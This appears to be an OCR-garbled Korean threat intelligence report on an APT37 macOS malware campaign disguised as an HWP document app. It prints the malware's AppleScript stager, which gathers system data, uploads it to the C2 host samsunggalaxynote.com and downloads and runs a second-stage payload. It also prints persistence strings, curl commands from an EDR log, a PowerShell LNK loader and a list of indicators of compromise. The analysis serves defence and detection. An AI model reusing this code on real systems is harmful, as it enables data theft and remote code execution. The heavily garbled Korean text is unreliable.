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A 88 m=0y 5 e =
v [ MacOS 20234 5% 17 2% 517 -- = \
R [ 1mage | 2023458172 2= 517 151KB  Unix 43 njg!
S =M Pkginfo 20234 58 172 2% 5:17 BHIO|E  EIAE HEI|BM |
e ¥ [ Resources 20234 58 17 2% 5:17 - EA
Orte=c |62l R2P 2H[3]2].hwp 20239 58 17% 2% 5:17 2.4MB  2A \
o ¢ Applcon.icns 2023 58 178 2% 5:17 210KB  Apple Ot0|Z o|O|X|
v [ Base.lproj 20234 58 17% 2% 5:17 - B4 \
» [ Main.storyboardc 20234 58 17 2% 5:17 --  EO

(23] 08] ey = TH IH3|X| L& =t H

O

O W o PP He &
SH
o

d EZ(Information Property List) ItY& E2tsHOf S=0,
‘Info.plist HEE 6 & -

/7 /
20l Image’ 210! 242 Tefs 4 gL

(o]
HA - A =2 N
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Threat Intelligence Report

X ) B Info.plist

88 EB Info.plist

E8 Info.plist ) No Selection

Key Value

v Information Property List (23 items)
BuildMachineOSBuild 20D91
Localization native development region en
Executable file Image

Applcon.icns

com.sok.Image

6.0

Image

APPL

Icon file
Bundle identifier
InfoDictionary version
Bundle name
Bundle OS Type code
Bundle version string (short) 1.0
CFBundleSupportedPlatforms Array (1 item)
Iltem 0 String MacOSX
1
String com.apple.compilers.llvm.clang.1_0
String 12D4e
String macosx
String 11.1
String 20C63
String macosx11.1
String 1240
String 12D4e
10.12
Copyright © 2020 SOK. All rights reserved.
Main
NSApplication

LS AL SRS AL SIS ALS AL SIS AL S LS

Bundle version

DTCompiler
DTPlatformBuild
DTPlatformName
DTPlatformVersion
DTSDKBuild

DTSDKName

DTXcode

DTXcodeBuild

Minimum system version
Copyright (human-readable)
Main storyboard file base name (macOS)

LS IS AL SIS AL SIS LS AL SIS LS AL SIS AL o

Principal class

[212! 09] 'Info.plist’ Li& ™

Al {2 macOS Big Sur 11.2.3 (20D91)2}
= undle Identifier)?l ‘com.sok.Image’ A|EX}
LICt. BHE OfO|C|= OfF 2tE0AN Y2 A=dt= 1R AEX0|H, XEHH

—

b rir
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Threat Intelligence Report

O
C
3

h- iversal HIO|LH2| fat_header AHT{ 4 H}O|E (CA
FE BA BE) O IZEBHZ JHX|1 UFGLICL LHFO|= x86_64, arm64 O [EIX{Q| AlgH
2t t

{const char * instance) {

[12] 10] 'Image’ HIO|H2| £A] 5}

O LHE A3 mA2 curl(client url) -sfL BE 2 2 'samsunggalaxynote[.Jcom 2AEZ
MASH|CH  J2|n ‘whatnew' CIO|E{E -0 JZ82= tmp ZA=O
‘com.apple.auto_update’ 0|50 2 CtR2Z =6 X{&efL|Ct.
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Threat Intelligence Report

O T3te TAE}ORX| £ FAIZALS] ADIEE ¢ Afo|EX Y M2 4 UK, B4
HIHEQ= M5 2ot ZIo 2 HO|H, 2= ot=QHUITIS A (KISA) ¢ Q-2 MA
HESZ Qg HHS Soff ILH TS Ko AEfLICE

-S Silent mode

-f Fail silently

-L Location

-0 Output

[E 05] curl &M A

O CI2OZ xattr(Extended Attribute) -c M2 Eolf &4 HEE AX|(Clear)stod
SZ2C A2 59| YEE H|AHEL|Ct, 22|12 chmod(Change Mode) +x M2 S
oH 20 2 ‘com.apple.auto_update’ HPO|L{Z|E AsHefL|Ct O CHS
rm(Remove) -rf 8= Sl A|AH MY AFH|0{F 2001 Q7H0[Lt @ F H|A|X| GlO] gH=al

O 'pathForResource:of Type:" &f4+& Edff HE LHE 2|AA PAo|| =XHst= ‘K| 6 2
R2P =X|2[2|.hwp’ B BME QESIH Y AUXIE (A0 ot £+ S

AtEELIC
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Threat Intelligence Report

c. ‘com.apple.auto_update’ It 24

O & OtY2 Mach-o Universal (x86_64, arm64) HIO|L 2| I}YU 2 ‘Image’2t St C2
(samsunggalaxynote[.Jcom)AHZ T8 ‘singlework’ H|O|EE I EH, LFQ|
CHR 20 82 S st

[ ) [ ] com.apple.auto_update
(S & Q
¥ Fat Binary Offset Data  Description Value
Fat Header

00007CCC  2F55.. CString (length:41) /Users/%@/Library/Containers/.loginwindow
00007CF6 2F62.. CString (length:7)  /bin/sh
00007CFE 2D63.. CString (length:2) -c
00007001 6375.. CString (length:56) curl -sfL https://samsunggalaxynote.com/singlework —o %@
00007D3A 7861.. CString (length:11) xattr -c %@
00007046 6F73.. CString (length:9) osascript
> Section64 (_TEXT,_stub_helper) 00007D50 636F.. CString (length:22) com.apple.loginwindowd
¥ Section64 (_TEXT, _cstring) 00007067 4C61. CString (length:5) Label
00007D6D 5072.. CString (length:16) ProgramArguments
> Section64 (_TEXT,_obje_methname) | gg97n7¢  5275.. CString (length:9) —RunAtLoad
Sectlon6a.( TEXT, unwind_info) 00007088 4B65.. CString (length:9) KeepAlive
> Section64 (_DATA,_nl_symbol_ptr) 00007092 2F55.. CString (length:60) /Users/%@/Library/LaunchAgents/.com.apple.windowserver.plist
> Section64 (_DATA,_got) " 00007DCF 6C61.. CString (length:20) launchctl load -w %@
> Section64 (_DATA,_la_symbol_ptr) 00007DE4 2F55.. CString (length:66) /Users/%@/Library/LaunchAgents/com.google.keystone.xpcserver.plist

4 Sect?onsd (_DATA, —Cfs_m_"g’ . 00007E27 6C61. CString (length:47) Tlaunchctl remove com.google.keystone.xpc.server
» Section64 (__DATA,__objc_imageinfo)

» Section64 (__DATA,_objc_selrefs)
» Section64 (__DATA,_ objc_classrefs)
» Dynamic Loader Info
» Function Starts
» Symbol Table
Data in Code Entries
» Dynamic Symbol Table
» String Table
Code Signature
» Executable (ARM64_ALL)

V Executable (X86_64)
Mach64 Header
» Load Commands
» Section64 (_TEXT,__text)
» Section64 (_TEXT,_stubs)

[Z12111] ‘com.apple.auto_update’ Z= LHE XL 2tH

O ‘singlework’ ItY Library 6t Containers 20 Z20]| &2 £°d42| ".loginwindow'
Ofd = X7gsh OHx| H4 ZO0{MB|A(loginwindow.app) M E IFELICE 22|12 CREE
7|12 S HEF HEE MX| A8l XHble| 2a 23 MAHE TIfetL|ct.
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Threat Intelligence Report

O '/Users/%@/Library/LaunchAgents’ d=Z0| '.com.apple.windowserver.plist'
IIEE SHSECE Msh A|AHR 28 22 27901 A0 XtE 2ASH=S AFL|Ch
LHE Label 2XIEZ ‘com.apple.loginwindowd’ 20| EE|0| UELI|CE HEO
RunAtLoad(ZEA| &), KeepAlive(&dl AEHRX|) QLEME 3| 42 23l (true)

= =2 O
gLICh J2|10 launchetl 2E PHES Sl ".com.apple.windowserver.plist' THYUS

S=otn, |44 XL

® @ [Users/user/Library/LaunchAgents/com.apple.windowserver.plist
com X XMLE G = @
Key Type Value
w plist dict
KeepAlive bool true
Label string com.apple.loginwindowd

¥ ProgramArguments array

Item 1 string osascript
Iltem 2 string /Users/user/Library/Containers/.loginwindow
RunAtLoad bool true
/Users/user/Library/Containers/.Ioginwindow“ Row: 2  Column: 3  Children: 0” Parent level : ProgramArguments -> plist|

[ 12] ‘com.apple.windowserver.plist” 47 =tH

H1
=

O «7| ztHIE 20| “loginwindow' OFO|&I2 osascript(AppleScript) QIXtZ A
?!om, ‘launchctl remove com.google.keystone.xpc.server’ WHE BI04, L
AE 2 O AN E A =-SLCE,

up
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Threat Intelligence Report

O od OIEATEES R0 24512| fIoH 'AFFHE HE?|(Script Editor.app)' &
0|8 =+ U=Cl, ThEH W™ 40| OFEE()7H ZehE B2 s45°90| FXAIELICE HA
SU242 shRISh| el Sete] DRAIE()S HPPBHL, SRS scpt' 27t 2412
g A + YsLict

[ ] o <] loginwindow.scpt

AppleScript & <AEiEl 24 giS> &

global tD, iPa, uri, alpha
set uri to "https://samsunggalaxynote.com/"
set tD to (POSIX path of (path to temporary items))
set iPa to tD & "info" & time of (current date) as text
set sysinfo to system info
set alpha to short user name of sysinfo
do shell script "echo dXNIciBuYW1lOg== | base64 -D >> " & iPa & " && echo " & alpha & " >> " & iPa
do shell script "echo c31zdGVtIHZIcnNpb246 | base64 -D >> " & iPa & " && echo " & system version of sysinfo & " >> " & iPa
do shell script "echo aG9tZSBkaXJIY3Rvcnk6 | base64 -D >> " & iPa & " && echo " & home directory of sysinfo & " >> " & iPa
do shell script "echo SXB2NCBhZGRyZXNzOg== | base64 -D >> " & iPa & " && echo " & IPv4 address of sysinfo & ">> " & iPa
do shell script "curl ipinfo.io >> " & iPa
do shell script "echo TUFDIGFkZHJIc3M6 | base64 -D >> " & iPa & " && echo " & primary Ethernet address of sysinfo & ">> " & iPa
do shell script "ioreg - | grep IOPlatformSerialNumber >> " & iPa
do shell script "echo cHlvY2VzcyBsaXN0OOgo= | base64 -D >>" & iPa
do shell script "ps aux >> " & iPa
repeat
try
do shell script "curl -F 'userid=" & alpha & "' -F 'file=@" & iPa & "' " & uri & "horizon.php >/dev/null 2>&1"
exit repeat
end try
delay (30)
end repeat
do shell script "rm -rf " & iPa
repeat
try
do shell script "curl -sfL " & uri & "downwork/us -o /tmp/mdworker"
exit repeat
end try
delay (60)
end repeat
do shell script "curl -sL " & uri & "delwork.php"
do shell script "cd /tmp;xattr -c mdworker;chmod +x mdworker;./mdworker;rm -rf mdworker /Users/" & alpha & "/Library/
Containers/.loginwindow /Users/" & alpha & "/Library/LaunchAgents/.com.apple.windowserver.plist;launchctl remove
com.apple.loginwindowd"

Zat  oAx one  ([(EER mw ©

O 'loginwindow' LHE0]| ZLSHEl OIZ AT ZIE 00l A 7|&TH oA AL SUSH

= [eNe} IT —_— o
C2 (samsunggalaxynote[.Jcom) F42F URI 22 A™E AZ &olet 4~ QSLICt
SAx%tE Y 2RAEE SOl X|&£AQ PP =10 st
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Threat Intelligence Report

O A3ZE HHo| 1
data), ZTEMA 2|A
HE(System Info)E

Al OtO|&El(Temporary Item) A 20| XN L} A|Z2HCurrent
O|2XF ME Of0|m| =AQ WESQA JA S CAFSH A|AE

o —

f
E
RO HIAE MAZ XS C2 MHZ S-S A=gLC

O [do shell script "curl -sfL " & uri & "downwork/us -o /tmp/mdworker"] &2
Edff 'us' OtY S FIt CHRZLESH, UAEH(tmp) B20| ‘mdworker’ TIYZ CHREE
S ABHSHL|CH 22XF= X| M52 ME I EH0IE| S MENX O 2 A7} 04242 XISHSH|C},
o€ S0, FsHAtD ZAILEVM & 212] 24 2t F0M S&E 32, 7t Payload E&=

O 02 S3 oIE i 24T CIXIY B3 e, 25 3 =7 £ES HasY 4+
QI&LICE Ci20] O[Tl MXISHE HoiXIEet HHS ARl EXS NP st A3YE
WYS Mo 24 HekS Yl
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Threat Intelligence Report

| NON ) T
<> sBHo= =v #v & >
0|& =5y v | 37
v | | Temporaryltems 25 2% 5:18 --
R info60087 QL 2% 4:1 40KB
> [ (screenca.. X% = 3) Rs 2% 3:57 o=
| info57378 | QL 9% 3:56 40KB
> [ (screenca..X%E & 2) Rs 2% 3:18 o=
> [ (screenca..M XHE 5) 2= 2% 313 -
> | | com.apple...ta.mdworker 2= 2% 5:16 --
| 4
> | | com.apple...otoanalysisd 2= 2% 411 --
. & Macintos! » > > > > > > Temporaryltems > info60087 |
[OZ 14] A A FEOOY 2 MEE o
O OHEATZIE WHOZ CIRZEJt A|EE|= ‘'mdworker’ T2 Z223xto| MEHo| 2}
CIH22EE|= OEE BA0 C2 MHO| SEE[0 UX| GSSLICE TBHAte| AIA™> HEE
2ol & SAXPL Hdt= FREO ool =71 2d TS Mo S53H L2 EliE= 1:1
SIE TS MELICE 0|2 Soll 2ot TEIte| &MIeh 2A410[Lt 32 (Ol 4~ USLICE
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Threat Intelligence Report

04.  APT37 3§ ¢Hd A= (Similarity)
a. HH|0{(C2) Mt SY At

O GSC = %A ?|=2 macOs ?|2He] SHnt Lot PH|0{(C2) MHE A8 ECHE
SH AIE LAY, OH 321 Zaot HZ N2 EXHelttt= HE HUSLICL

O 2023'd 052 09 Y 19 AI, CHEZOF BAIX} O 10 0YS HTHR "SHAF Wb
Aot zip' TFUO| HaiFesLICt

o9 [eh i 2 pz|@ =@ 22 54§ 4|78 v
su AR 2
HrS AL 2023-05-09

=d

SHRAr IM AU HIS LI

r

a8 170

B =0 aad Ameetzp ~ 2023/06/13

CHEEHLIAN? =2£= FlEt
2LICH

A 0 = AF kA O
Ct=2t et A== DISEEALE S H = Hl=5t10 Sl= A2l AERE
HIZ&E e HthE ZOE2EELICH

{i=))  hitps//samsunggalaxynote com/

[23] 15] Sh=A Wik A[ZEetS 2Hget siZ 8 ol =tH
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Threat Intelligence Report

O iy thed HROE2 ojHY 4o Mu[AZ ZetEl 2N 20|X(T dX=2=
CIXFRIZE B0t HE HEHYLICE. SHXt ol 2l BFAO(C2) AH

o
‘'samsunggalaxynote[.Jcom' @ AEQ| YSOIUS HAAZSL =
AlE0E EAOME0| CHR2E fia, O ChHg 9Ql 10 €8 tdod=s w
EAMSLICE

O ZZHx}| The &QOIX| OML|M X|UsHH| & MBELH O|Q=xX| LHketA[a,
S=2¢of mfe}, X4

-
‘'samsunggalaxynote[.Jcom’ SAEO]| A 4! otMm S 2ot
|2

=3 He & orote {0 o
2iol 2t Z S| L‘6‘NIK-E jc:>|—|— o= ? &

oAb Wik = 9ff OFA Gllhhwp.Ink’ O|F2| 2f4 LNK HE22}7| Do Zetel U1
‘APT37 52 Atef|"22t TTPs 7t HX[ghL|Ct,

YU A= BFHOE HdHEH, APT37 2|E1} Aol 2

N
o
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Threat Intelligence Report

CHotR = HE M2l oh=Ar matM =
i Ot%| GiLt.hwp.Ink

/k powershell -windowstyle hidden
$dirPath = Get-Location; if($dirPath -
Match 'System32' -or $dirPath -Match
'Program Files') {$dirPath = '%temp%'};
$Inkpath = Get-Childltem -Path

$dirPath -Recurse *.Ink *| where-object
{$_.length -eq 0x000330COED} *|
Select-Object -ExpandProperty
FullName; $pdfFile = gc $Inkpath -
Encoding Byte -TotalCount 00515498 -
ReadCount 00515498;

$pdfPath =

"YtempP%WLISIZI= HE M| ot=At
WA= f OFA! GiLk.hwp'; sc $pdfPath
([byte[11($pdfFile *| select -Skip
004010)) -Encoding Byte; “& $pdfPath;
$exeFile = gc

$Inkpath -Encoding Byte -TotalCount
00518755 -ReadCount 00518755;
$exePath = "%temp%W230508.bat'; sc
$exePath ([byte[]]($exeFile *| select -
Skip 00515498)) -Encoding Byte; "&
$exePath;

iconlocation: C:¥#Program Files
(x86)WHNcWOffice
2018WHOffice100WBinWHwp.exe

C2 : samsunggalaxynote[.]Jcom

UHO[HAM-Z** Ink
(APT37 223 A1)

/c powershell -windowstyle hidden
$dirPath = Get-Location; if($dirPath -
Match 'System32' -or $dirPath -Match
'Program Files') {$dirPath = "%temp%'};
$Inkpath = Get-Childltem -Path

$dirPath -Recurse *.Ink *| where-object
{$_.length -eq 0x00027345F6} |
Select-Object -ExpandProperty
FullName; $pdfFile = gc $Inkpath -
Encoding Byte -TotalCount 00020802 -
ReadCount 00020802;

$pdfPath =

"%temp%W230419.hwp'; sc $pdfPath
([byte[1]($pdfFile *| select -Skip
002370)) -Encoding Byte; “& $pdfPath;
$exeFile = gc

$Inkpath -Encoding Byte -TotalCount
00024042 -ReadCount 00024042;
$exePath = '"%temp%W230418.bat’; sc
$exePath ([byte[]]($exeFile *| select -
Skip 00020802)) -Encoding Byte; "&
$exePath;

iconlocation: C:WProgram Files
(x86)WHNcWOffice
2018WHOffice100WBIinWHwp.exe

C2 : filestorage.b4al.]Japp

[H 06] LNK Azl H| !
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Threat Intelligence Report

b. 2022 1 &7 mac0S QA 2t o

O 2022 3 04 & 21 ¥ VirusTotal AMH|AL| ‘'mdworker3’ O|£2] macOS £ Mach-0
Universal Binary QAU S X5t £ 3 Z0| S2EIL|CE A X S22 By HEZ| ¥2E
TIAE AA = [ES] YLICL

0 2022 '@ 07 ¥ 17 Y wOP|e] ESET oM sig 2AMYUS HAfsl macOS
ATIO|IO] 30f CHEt ETME ZoHELICt Y LHE0l= CloudMensis 2t pCloud
MHIAE C2 2 8Lt BIFSLICE pCloud MH|A= APT37 2 £ HE 3
HEYLICY.

O ESET E1AMQ| Z20| 2™ CloudMensis 7t X7[0| O{EXH| HYZSHDT, CHAO|
SQIX| RECD MUSHALICE 2022 H 09 2 22 Y LABScon 2022 ZHHE 140 A
InkySquid 7t APT37 JE0| At25H= RoKRAT(DOGCALL)S| macOS HT(BaDRAT)<|
s 8 YHEMSLIC

O Xl 4 & THE mac0S gue| £7) 54 HH= 132 I 2tA
UASLICE. SHXZ XL A AR E[E] HE|(GSC)= did S20| 0|2t SEoHH| ALK

M A H
oY SHLE ARSI B0 USLCY.

O dmAe X|HHds {X[67| 2l AM3St= ‘LaunchAgents’, ‘LaunchDaemons'
F20| plist O¥E SO =l=0, X6 o HolA 2R St
.com.apple.windowserver.plist’ IYHEO| ArEHSLICE OHEAIRE HWHC=R
CH22E A|EFE ‘mdworker’ IMEO|EXDL X|HSH VirusTotal AMH[AO SEXE
‘mdworker3’ It 0| 29| QAMI = HAEL|CE

13| see what you did there: A look at the CloudMensis macOS spyware
4 InkySquid: The Missing Arsenal
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https://www.sentinelone.com/labs/labscon-replay-inkysquid-the-missing-arsenal/

Threat Intelligence Report

c. & 7 oY MY 55 RAIE

O 2020 & HEEH 2021 & S&X|, ot=2 £ ¢ AO|EJt /Ef” & 542t Ruby
H =] OtA

o 2021 Watering Hole
T2 | (ROKRAT)

522fb2f65e9bdf2666
22388e4ad7ec25

SIYAHE H|wotHE oHgat

APT37 ROKRAT HiZ0| SILEl Hf QU&SL|CH TA| 2AL

(] PN
-1 O
2

Iy o
- H
oone -

b
E

2022 VT macOS
(CloudMensis)

202de13ae48ea82910
170718c7291b2c

2023 & LNK R332 APT37 2-dmo|

2023 Spear Phishing
(ROKRAT)

35ac9fbab3caba22c4
ca204074cd8c01

jpg doc docx xlIs xlsx
ppt pptx hwp url csv

2%
At pdf show cell odt rtf
sz nxl amr 3gp m4a txt

msg key der cer pfx
mp3 eml|

[E07] APIE &5 OHY == Hw

O 2021 HRE 2023 EANX| A[P[of el SF| Oy OHE

e 2AMOFR(HWP, SHOW, CELL) Z83t 54 =5 O|C|0] TR (AMR,

2t El | . EHF Y SE7t OHELE

= Soll Chdet JE 230t 7+sh 2 =0{(Backdoor)
L

H0| ALESHE ¢
3GP, M4A) B8t &

ot =N 2 HO[X[2, =9t FF

FELZ 2HE0P| W20 21" =217

Genians Security Center

Ofm
1A
|0
u
HH

o

jpg doc docx xlIs xlsx
ppt pptx hwp hwpx csv
pdf rtf amr 3gp m4a
txt mp3 eml emlx

doc xIs ppt hwp pdf
amr m4a txt

222 DS HH, 31204
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Threat Intelligence Report

05.  AO|H =fF HOt Al (Cyber Opsec Fail)
a. INKHZt =7 =&

O APT37 2| i ALO|H M 2SS o] DY YAEOR 4% S0/0, SEES 0j2
%g _)Il\__;'c_gi ]:gjl.%“_“:l- Al-OlH-l ;;FX‘l §|% E'.él.'% = |9|‘ Eléijl'_g.__llEI:!l L'Il:l- %6—': EE‘
S

— —

O
)
0
O
rir
>
T
_|
w
N
|

i
°
N
o
R
w
i
o
o

{0
4
m
=5
Hu
d

= |'j m
It ohmielR CHEEOF SAXE TE BASts HES TAR g U BAS 1Y

SYLIC

O APT37 9@ Hmole =3 & Zof HI2IPILNK) 28T TE =720t
link b4al.Japp’ C2 ME{S S O=X| 2| o|5of BE 24 WLt 0|26}
A1 20t ATH(Opsec Fail) AY810|0H, 3 AIZIIIX] Q0 22471 bl gl =R2ULIC

a e
LNK Exe, Pif
LK MAKING
Exe Path |C:WUsersWCIoudWDocumentsW‘SourceW‘[n\toke.bat | Select
Item Path | | Select
Exe Name |23D324.bat |
Item Name| |
Output | C:iUsersWiloud Whocuments' | Select

Mame | |

File Size | 213456780 |

Icon Select

®@PDFIcon  (O)chrome Icon  (Edgelcon () Word Icon (OExcellcon () PPT Icon

()HWPIcon |[HWP 2020 ~ | (O TextIcon (O Photo Tcon
() Custom Icon | | MNumber I:I

Finish

[23] 16] LNK -FI e A-52f X% =41 =tH
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Threat Intelligence Report

b. LNK H|&} =71 24

O &2 o2 MFC(Microsoft Foundation Class Library) > 2|90 2 X|Z5ioH,
EfUARHI I3 X ZA| ™2 2023 H 03 & 24 L 09 Al 52 F(UTC) YLICL 3 & 0|5 H
6 & A AFNX] 20| K& AFE SYLICE £ YEO ZaE 2 Y 0|§2

‘MyEWork_Auto.exe’0|0, PDB H 2= Ct2 1t Z&LC}

C:WUsersWJJJWDesktopWtmpWMyEWork_AutoWwDebug
WMyEWork_Auto.pdb

[# 08] LNK HM|Zf==1 PDB B=

PDB

O PDB Z=2A 'JJJ AHHEHEO| T XE0o| ARE HE & =

o
HIE S (Desktop) oA 2l A2 & &= AFLILE S0I22 E2 APT37 82| DOC

C e

(@]
A JMEOoM Lo TAE HE USLICY.

U E&ZX|.doc Z** doc (H& * HA|)

8f106544bfd4755d17a3530646 | a8a82038d1a91e9fdf538cb765d

MD5 66426a 1be66
Cc2 docx1.b4al.]app dost.b4a[.]app
MEIR} 2023-03-28 15:44 2023-04-19 18:27
e S 2023-03-28 15:47 2023-04-19 18:29
2H=0| JJJ JJJ
2R | U JJJ

[H 09] APT37 2+ MS Word At= H|w

1> Windows 2EA| 2Z0l|lA 2tEst= GUI SEZZ WS JHLst7| 9I8H C++ 0] 7|gke| GUI
2to|E212
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)

10N

CHE8MH (Conclusi

: O
2 A

06.

(mac0S)E Of

I

=

A SHROj|A 8
CHb|9t ot @Ik e

I

=LHOf| A

ot
(Android), 2|=A(Linux)
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: ™ o o

b. Genian EDR H|E& 5%t 2tHQI CHE
O Genian EDR'® &tH0|M= mac0S €82 T2 o] Alg 219 £E4I 0|3, OHIE
X318 Edff YHXIX| U2 ZANK| W20 Hets| A S B[St tigg
UESLICE macOS 7|2 APT 332 A3t 610 CHAE S22 =AY 4= UHA EbFLICEH

OneDrive

——— S e .

H63] R2P 28 8| 0].zip

O] oo =tol = AE 02| =7|7t 8le A ZEYCH

oeE #TE

ik 3

& 768 R2P SHT..zip

=Tjog
& A2 jog
= Ar¥3 jog
A4 jog
& A¥s jpg

Hl63| R2P 7 H|2]2].app

process

Mmunm

Genian EOR

bash

child process

QY

AR5 jpg X6zl R2P 2|2l

i =

| [ @6z rep 2AzI2 app

200 ERE 2NV SFM SBEW

2837 #E3| ZuER +uo wh

2023-05-17 2%
151,431 154710 JPEG S[0|X| 2023-05-16 2%
560,395 560,523 JPEG O[OI%| 2023-05-16 2% ...
219415 219911 JPEG 0JOIX| 2023-05-16 2% ..
410,103 411,028 JPEG OJOI) 2023-05-16 2%
243617 246354 JPEG OJOI| 2023-05-16 2%

®

c,ofﬁ.a pple.auto_update

[12] 17] Genian EDR M|Z2| mac0S 2iAdmt

16 https://www.genians.co.kr/products/genian-edr/
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O 2 E1XM0o|M 2|zt

macOS 2 GoUS
o
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=
mAA E2i9t Al22tE Sof #S| 55

=

2 o|Xof XMuHE 2

2tO|=2t ELICt,

O

O[HIE A|Z} & O[HiE &A 27
2023-05-18 12...  ProcessStart

2023-05-18 12...

2023-05-18 13...  ProcessStart
2023-05-18 13...  FileCreate
2023-05-18 13...  ProcessStart
2023-05-18 13...  ProcessStart
2023-05-18 13...  ProcessStart
2023-05-18 13...  ProcessStart
2023-05-18 13...  FileCreate
2023-05-18 13...  FileCreate
2023-05-18 13...  FileMove
2023-05-18 13...  FileCreate

2023-05-18 13...
2023-05-18 13...

ProcessStart

2023-05-18 13... ProcessStart

ChildProcessCre...

ChildProcessCre...

=2 423

M6zl R2P = H 2l2l.app
Hl62| R2P =X 2| 2].app
curl

curl

xattr

chmod
com.apple.auto_update
curl

curl
com.apple.auto_update
com.apple.auto_update
com.apple.auto_update
osascript

launchctl

rm

FHucaol
/private/var/folders/f7/8pv_d97n6ldgnvdirfcm3gzw0000gn/T/App

/private/va r/folders/f?/pr_d97n6Idgnvdlrfcm3gszOOOg n/T/App

curl -sfL https://samsunggalaxynote.com/whatnew -o /tmp/com.3

xattr -c /tmp/com.apple.auto_update
chmod +x /tmp/com.apple.auto_update
/tmp/com.apple.auto_update

curl -sfL https://samsunggalaxynote.com/singlework -o /Users/

osascript /Users; /Library/Containers/.loginwindow

launchctl remove com.google.keystone.xpc.server

rm -rf /tmp/com.apple.auto_update

[32 18] mac0S dmd A
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07.  #oll X|&E (Indicator of Compromise)
a. &8 MD5 Hash

- 01cOb7c5bf605ed267b2be3d024eb90f
- 70babb348e73cbh9c4a70667953a01218
- 202de13ae48ea82910170718c7291b2c
- d07eaf57cde81f78a26ef32c11fd13af

- 4d38a8cfe29edde208185b38a7484589
- 6e9e7281b92bafc19515ade548d28f45
- c2f53f86fc8e3118aea75fcce59f78b5

- €61e48ddd72492d0b46480b33be69b3b
- fc2401218a14bed5a1ffed7c2c18dff0

- 13e3405fc3ef62d4e2e3f5f19d9a9b53

- 82ce1febaba8bfd843be055430cef5b7

- f9383b747442956d5e0d76e30d51cbbe
- baf428cc95b5be276ca9651daa08c7f7

- 0fe19dd41030ae6184a796a962a8a0f8
- 97275a8626a78680a6a5825722cc3612

- f404647af334dee4dbeb23ab4eb2ab02
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b. ZAX O|HIY F4
- claudiaback0910@yandex[.Jcom
- pardonsingh@yandex[.]Jcom
- njrntop@gmail[.Jcom
- softpower21cs@gmail[.Jcom

- songbaejo@gmail[.Jcom

Genians Security Center 39




Threat Intelligence Report

c. AztEl FJAH|0{(C2) TAE MH
- samsunggalaxynote[.Jcom
- dost.b4al.]app
- docx1.b4a[.]Japp
- filestorage.b4al.]app
- link.b4a[.]app
- attachment.mailstorage[.]site
- vmi810830.contaboserverl.]net
- newtowninstitute[.Jorg
- adjectif[.]Jnet
- accounts.kakaocopyright[.Jcom
- naver.com[.]de
- today-breakingnews[.Jcom
- kmib.newspad][.]info
- newdaily.newspad].]info
- chosun.newspad].]info
- yonhap.newspadl.]info
- segye.newspad][.]info

- today-breakingnews[.Jcom
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08. &4 X|E (Indicator of Attack)
a. MITRE ATT&CK'” Matrix - APT37' Group Descriptions

Tactic Technique Description
T1598.003 Phlshmg.fo.r Infqrmahon:
Reconnaissance Spearphishing Link
71589 Gather Victim Identity Information: Credentials
Phishing:

Initial Access  [T1566.002 Spearphishing Link

71059.002 Command and Scripting Interpreter: AppleScript
Execution
T1204.002 User Execution: Malicious File
T1547 015 BooF or Logon Autostart Execution:
- Login Items
Persistence < .
t i :
T1569.001 ystem Services
E— Launchctl
T1070.004 In.d|cator_RemovaI.
E— File Deletion
Defense Evasion o At
ide Artifacts:
11564.001 Hidden Files and Directories
11057 Process Discovery
Discovery 71082 System Information Discovery
71083 File and Directory Discovery
Collection T1119 Automated Collection
Exfiltration T1041 Exfiltration Over C2 Channel

[H 10] MITRE ATT&CK, Tactics and Techniques

17 ATT&CK : The Adversarial Tactics, Techniques, and Common Knowledge
18 https://attack.mitre.org/groups/G0067/
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https://attack.mitre.org/techniques/T1598/003/
https://attack.mitre.org/techniques/T1589/001/
https://attack.mitre.org/techniques/T1566/002/
https://attack.mitre.org/techniques/T1059/002/
https://attack.mitre.org/techniques/T1204/002/
https://attack.mitre.org/techniques/T1547/001/
https://attack.mitre.org/techniques/T1569/001/
https://attack.mitre.org/techniques/T1070/004/
https://attack.mitre.org/techniques/T1564/001/
https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1082/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1119/
https://attack.mitre.org/techniques/T1041/

Threat Intelligence Report

09. A1 Xt= (Reference)

- 2301 HCIN S APEISH APT37 221 At [Genians]

- TTPs $ ScarCruft Tracking Note [KISA]

T
- 213 M (* Ink)E S8 SEE|&= RokRAT &M AE: RedEyes(ScarCruft) [Ahnlab]

- Matryoshka : Variant of ROKRAT, APT37 (Scarcruft) [S2W]
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https://www.genians.co.kr/blog/threat_intelligence_report_apt37
https://thorcert.notion.site/TTPs-ScarCruft-Tracking-Note-67acee42e4ba47398183db9fc7792aff
https://asec.ahnlab.com/ko/51628/
https://medium.com/s2wblog/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48
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